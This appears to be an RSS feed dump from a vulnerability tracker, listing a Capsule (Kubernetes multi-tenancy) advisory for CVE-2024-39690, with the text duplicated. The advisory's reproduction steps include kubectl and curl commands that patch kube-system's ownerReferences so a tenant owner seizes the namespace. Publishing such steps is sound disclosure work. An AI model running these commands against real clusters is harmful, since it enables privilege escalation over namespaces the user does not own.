https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 03:18:11 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-249776 EUVD-2026-249776 https://cve.radiocsirt.org/vuln/euvd-2026-249776 https://cve.radiocsirt.org/vuln/fkie_cve-2024-39690 <p>Capsule is a multi-tenancy and policy-based framework for Kubernetes. In Capsule v0.7.0 and earlier, the tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace. Version 0.7.1 contains a patch.</p> <p>Capsule is a multi-tenancy and policy-based framework for Kubernetes. In Capsule v0.7.0 and earlier, the tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace. Version 0.7.1 contains a patch.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-39690 https://cve.radiocsirt.org/vuln/ghsa-mq69-4j5w-3qwp <p><strong>Affected:</strong> Go: github.com/projectcapsule/capsule</p> <p># Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The &#39;kubectl edit&#39; command was used to patch the namespace, but this operation requires both &#39;get&#39; and &#39;patch&#39; permissions, hence the error. One should use methods like &#39;curl&#39; to directly send a PATCH request; 2. The webhook does not intercept patch operations on &#39;kube-system&#39; because &#39;kube-system&#39; does not have an ownerReference.</p> <p># Below are my detailed reproduction steps 1. Create a test cluster `kind create cluster --image=kindest/node:v1.24.15 --name=k8s` 2. Install the capsule `helm install capsule projectcapsule/capsule -n capsule-system --create-namespace` 3. Create a tenant ``` kubectl create -f - &lt;&lt; EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF ``` 4. Create user alice ``` ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig ``` 5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.) ``` kubectl proxy</p> <p>export DATA=&#39;[{&#34;op&#34;: &#34;add&#34;, &#34;path&#34;: &#34;/metadata/ownerReferences&#34;, &#34;value&#34;:[{&#34;apiVersion&#34;: &#34;capsule.clastix.io/v1beta2&#34;, &#34;blockOwnerDeletion&#34;: true, &#34;controller&#34;: true, &#34;kind&#34;: &#34;Tenant&#34;, &#34;name&#34;: &#34;tenant1&#34;, &#34;uid&#34;: &#34;ce3f2296-4aaa-45b0-a8fe-879d5096f193&#34;}]}]&#39;</p> <p>curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATC…</p> <p><strong>Affected:</strong> Go: github.com/projectcapsule/capsule</p> <p># Attack Vector Then, let me briefly explain the reasons for the errors mentioned above: 1. The &#39;kubectl edit&#39; command was used to patch the namespace, but this operation requires both &#39;get&#39; and &#39;patch&#39; permissions, hence the error. One should use methods like &#39;curl&#39; to directly send a PATCH request; 2. The webhook does not intercept patch operations on &#39;kube-system&#39; because &#39;kube-system&#39; does not have an ownerReference.</p> <p># Below are my detailed reproduction steps 1. Create a test cluster `kind create cluster --image=kindest/node:v1.24.15 --name=k8s` 2. Install the capsule `helm install capsule projectcapsule/capsule -n capsule-system --create-namespace` 3. Create a tenant ``` kubectl create -f - &lt;&lt; EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF ``` 4. Create user alice ``` ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig ``` 5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.) ``` kubectl proxy</p> <p>export DATA=&#39;[{&#34;op&#34;: &#34;add&#34;, &#34;path&#34;: &#34;/metadata/ownerReferences&#34;, &#34;value&#34;:[{&#34;apiVersion&#34;: &#34;capsule.clastix.io/v1beta2&#34;, &#34;blockOwnerDeletion&#34;: true, &#34;controller&#34;: true, &#34;kind&#34;: &#34;Tenant&#34;, &#34;name&#34;: &#34;tenant1&#34;, &#34;uid&#34;: &#34;ce3f2296-4aaa-45b0-a8fe-879d5096f193&#34;}]}]&#39;</p> <p>curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATC…</p> https://cve.radiocsirt.org/vuln/ghsa-mq69-4j5w-3qwp